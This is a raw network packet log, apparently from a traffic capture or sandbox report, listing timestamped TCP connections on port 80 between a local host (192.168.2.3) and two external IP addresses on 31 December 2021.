Dec 31, 2021 19:13:22.956037045 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956046104 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.956073999 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956113100 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956152916 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956166029 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.956188917 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956228018 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956235886 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.956267118 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956304073 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956315994 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.956342936 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.956392050 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.963888884 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.966022015 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.966061115 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.966094971 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.966207981 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.972103119 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005117893 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005153894 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005182028 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005219936 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005234003 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005274057 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005279064 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005306959 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005332947 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005342007 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005358934 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005384922 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005400896 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005410910 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005439043 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005440950 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005465984 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005484104 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005491972 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005518913 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005532026 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005544901 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005572081 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005588055 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005599976 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005625963 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005652905 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005656004 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005681038 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005700111 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005707979 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005733967 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005760908 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005778074 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005786896 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005810976 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005815029 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005841970 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005868912 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005897045 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005916119 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005922079 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005949020 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.005970001 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.005975962 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006004095 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006023884 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006030083 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006057978 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006083965 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006110907 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006130934 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006136894 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006165028 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006191969 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006217957 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006237030 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006244898 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006272078 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006298065 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006324053 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006347895 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006347895 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006376028 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006396055 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006402016 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006428003 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006448984 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006464958 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006491899 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006517887 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006545067 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006568909 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006571054 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006597996 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006623030 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006624937 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006650925 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006678104 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006695986 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006705046 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006731033 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006730080 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006757021 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006784916 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006809950 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006833076 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006835938 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006863117 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006884098 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006891012 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006917953 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006942987 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006969929 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.006994009 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.006995916 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007023096 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007040977 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007049084 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007076025 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007098913 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007133007 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007160902 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007184982 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007190943 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007211924 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007235050 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007237911 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007266045 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007281065 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007292986 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007318020 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007339001 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007344007 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007370949 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007386923 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007396936 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007422924 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007438898 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007450104 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007477045 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007505894 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007534027 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007555008 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007560968 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007587910 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007613897 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007627010 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007638931 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007639885 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007664919 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007668972 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007692099 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007708073 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007719040 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007744074 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007764101 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.007767916 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:23.007813931 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.035845995 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.053370953 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.055461884 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:23.104022980 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.217674971 CET	49837	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.266300917 CET	80	49837	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.266397953 CET	49837	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.266483068 CET	49837	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.266503096 CET	49837	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.318362951 CET	80	49837	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.342657089 CET	80	49837	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.342690945 CET	80	49837	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.342752934 CET	49837	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.357116938 CET	49837	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.390841961 CET	49839	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.405687094 CET	80	49837	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.439851046 CET	80	49839	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.439944983 CET	49839	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.440021992 CET	49839	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.440041065 CET	49839	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.490876913 CET	80	49839	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.519627094 CET	80	49839	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.519706964 CET	49839	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.519747019 CET	49839	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.551975012 CET	49840	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.569230080 CET	80	49839	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.600752115 CET	80	49840	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.600920916 CET	49840	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.600981951 CET	49840	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.600991011 CET	49840	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.649751902 CET	80	49840	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.680125952 CET	80	49840	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.680263042 CET	49840	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.680321932 CET	49840	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.713306904 CET	49842	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.730670929 CET	80	49840	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.765032053 CET	80	49842	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.765129089 CET	49842	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.765249968 CET	49842	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.765260935 CET	49842	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.816086054 CET	80	49842	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.842597008 CET	80	49842	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.842683077 CET	49842	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.842705965 CET	49842	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.867794037 CET	49843	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.891520977 CET	80	49842	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.918384075 CET	80	49843	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.918472052 CET	49843	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.918551922 CET	49843	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.918571949 CET	49843	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.967331886 CET	80	49843	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.995672941 CET	80	49843	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.995868921 CET	49843	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:25.996000051 CET	80	49843	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:25.996090889 CET	49843	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:26.032419920 CET	49844	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:26.044545889 CET	80	49843	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:26.081296921 CET	80	49844	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:26.082407951 CET	49844	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:26.082667112 CET	49844	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:26.082678080 CET	49844	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:26.132796049 CET	80	49844	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:26.157053947 CET	80	49844	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:26.158380985 CET	49844	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:26.158540010 CET	49844	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:26.170892000 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.209588051 CET	80	49844	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:26.238008022 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.238218069 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.242392063 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.309807062 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310444117 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310487032 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310525894 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310578108 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310586929 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.310621977 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310662031 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310691118 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.310710907 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.310714006 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310756922 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310795069 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.310851097 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.311052084 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.311108112 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.378552914 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378597975 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378637075 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378695965 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378722906 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.378740072 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378782034 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378803015 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.378835917 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378846884 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.378882885 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378922939 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378964901 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.378978968 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.379014969 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379017115 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.379056931 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379093885 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379137993 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379143953 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.379185915 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379188061 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.379229069 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379267931 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379312992 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379319906 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.379359961 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.379367113 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.379403114 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.382364035 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.443993092 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444053888 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444086075 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444118023 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444153070 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444214106 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444274902 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444277048 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444319010 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444324970 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444335938 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444375992 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444416046 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444438934 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444468021 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444470882 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444510937 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444547892 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444590092 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444603920 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444638014 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444643974 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444681883 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444720984 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444757938 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444783926 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444808006 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444814920 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.444885015 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444943905 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444984913 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.444999933 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.445035934 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445059061 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.445076942 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445115089 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445156097 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445177078 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.445203066 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.445205927 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445246935 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445286989 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445328951 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445348978 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.445378065 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.445379019 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445420980 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445456982 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445498943 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445513010 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.445549965 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.445553064 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.445590973 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.446719885 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.446762085 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.446801901 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.446813107 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.446861982 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.446862936 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.447432995 CET	49845	80	192.168.2.3	91.243.44.128
Dec 31, 2021 19:13:26.510107040 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.510157108 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.510196924 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.510236979 CET	80	49845	91.243.44.128	192.168.2.3
Dec 31, 2021 19:13:26.510279894 CET	49845	80	192.168.2.3	91.243.44.128
